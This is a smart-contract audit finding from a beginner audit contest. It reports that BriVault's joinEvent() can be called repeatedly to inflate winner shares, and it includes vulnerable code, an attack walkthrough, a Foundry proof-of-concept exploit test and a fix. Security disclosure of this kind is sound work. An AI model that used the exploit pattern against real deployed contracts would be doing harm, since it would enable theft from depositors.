BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Multiple joinEvent() calls allow users to inflate shares and steal funds

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

// Root cause in the codebase with @> marks to highlight the relevant section
## Root Cause
The `joinEvent()` function in `BriVault.sol` (lines 236-256) lacks validation to prevent a user from calling it multiple times. Each call adds the user's address to the `usersAddress[]` array without checking for duplicates.
When `setWinner()` is called, the internal function `_getWinnerShares()` iterates through the entire `usersAddress[]` array and counts each address's shares separately, even if the same address appears multiple times.
**Vulnerable Code:**
```solidity
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender); // @audit - No duplicate check
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
```
**Winner calculation:**
```solidity
function _getWinnerShares() internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // @audit - Counts duplicates
}
return totalWinnerShares;
}
```
## Impact
**Critical severity** - Direct theft of funds from legitimate winners.
An attacker can exploit this to steal a significant portion of the prize pool:
1. Attacker deposits tokens once (e.g., 1,000 tokens → receives 1,000 shares)
2. Attacker calls `joinEvent(countryId)` 100 times consecutively before the event starts
3. The attacker's address is now stored 100 times in `usersAddress[]`
4. When the owner calls `setWinner()`, the `_getWinnerShares()` function counts the attacker's 1,000 shares 100 times
5. `totalWinnerShares` becomes artificially inflated with 100,000 phantom shares
6. When winners withdraw, the payout calculation uses this inflated denominator
7. All legitimate winners receive dramatically less than they deserve
8. The attacker receives a disproportionate share of the pool
**Attack Scenario:**
Assume a tournament with 100,000 tokens in the prize pool:
- Legitimate winner Alice deposits 50,000 tokens → 50,000 shares (50% of pool)
- Attacker Bob deposits 1,000 tokens → 1,000 shares (1% of pool)
- Bob calls `joinEvent(0)` 100 times
- When `setWinner(0)` is called:
- `totalWinnerShares` = 50,000 + (1,000 × 100) = 150,000 shares
- Alice's withdrawal: `(50,000 / 150,000) × 100,000 = 33,333 tokens` (**loses 16,667 tokens**)
- Bob's theoretical claim: `(100,000 / 150,000) × 100,000 = 66,666 tokens` (**steals 65,666 tokens**)
The attacker steals approximately 65% of the prize pool with only 1% of the actual contribution.

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

## Proof of Concept
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/BriVault.sol";
contract MultipleJoinExploitTest is Test {
BriVault public vault;
ERC20Mock public token;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address owner = makeAddr("owner");
address feeReceiver = makeAddr("feeReceiver");
function setUp() public {
token = new ERC20Mock();
vm.prank(owner);
vault = new BriVault(
IERC20(address(token)),
100, // 1% participation fee
block.timestamp + 1 days,
feeReceiver,
100e18, // minimum amount
block.timestamp + 10 days
);
// Set countries
string[48] memory countries;
countries[0] = "TeamA";
vm.prank(owner);
vault.setCountry(countries);
// Fund users
token.mint(alice, 100000e18);
token.mint(bob, 100000e18);
}
function testExploitMultipleJoinEvent() public {
uint256 aliceDeposit = 50000e18;
uint256 bobDeposit = 1000e18;
// Alice deposits and joins normally (once)
vm.startPrank(alice);
token.approve(address(vault), aliceDeposit);
vault.deposit(aliceDeposit, alice);
vault.joinEvent(0);
vm.stopPrank();
// Bob exploits by joining 100 times
vm.startPrank(bob);
token.approve(address(vault), bobDeposit);
vault.deposit(bobDeposit, bob);
for(uint i = 0; i < 100; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
// Verify Bob joined 100 times
assertEq(vault.numberOfParticipants(), 101); // Alice: 1, Bob: 100
// Fast forward past event end
vm.warp(vault.eventEndDate() + 1);
// Owner sets TeamA as winner
vm.prank(owner);
vault.setWinner(0);
// Check share inflation
uint256 aliceShares = vault.balanceOf(alice);
uint256 bobShares = vault.balanceOf(bob);
uint256 totalWinnerShares = vault.totalWinnerShares();
console.log("Alice shares:", aliceShares);
console.log("Bob shares:", bobShares);
console.log("Total winner shares (inflated):", totalWinnerShares);
// Bob's shares are counted 100 times
assertEq(totalWinnerShares, aliceShares + (bobShares * 100));
// Alice receives much less than deserved
uint256 vaultBalance = token.balanceOf(address(vault));
uint256 aliceExpectedPayout = (aliceShares * vaultBalance) / totalWinnerShares;
console.log("Vault balance:", vaultBalance);
console.log("Alice payout (with exploit):", aliceExpectedPayout);
console.log("Alice should receive:", (aliceShares * vaultBalance) / (aliceShares + bobShares));
}
}
```

Recommended Mitigation

## Recommended Mitigation
Add a mapping to track participation and prevent duplicate joins:
```solidity
mapping(address => bool) public hasJoinedEvent;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Prevent duplicate joins
require(!hasJoinedEvent[msg.sender], "Already joined event");
hasJoinedEvent[msg.sender] = true;
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
// Reset the flag when user cancels
function cancelParticipation() public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
hasJoinedEvent[msg.sender] = false; // Reset participation flag
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
```
Updates

Appeal created

bube Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!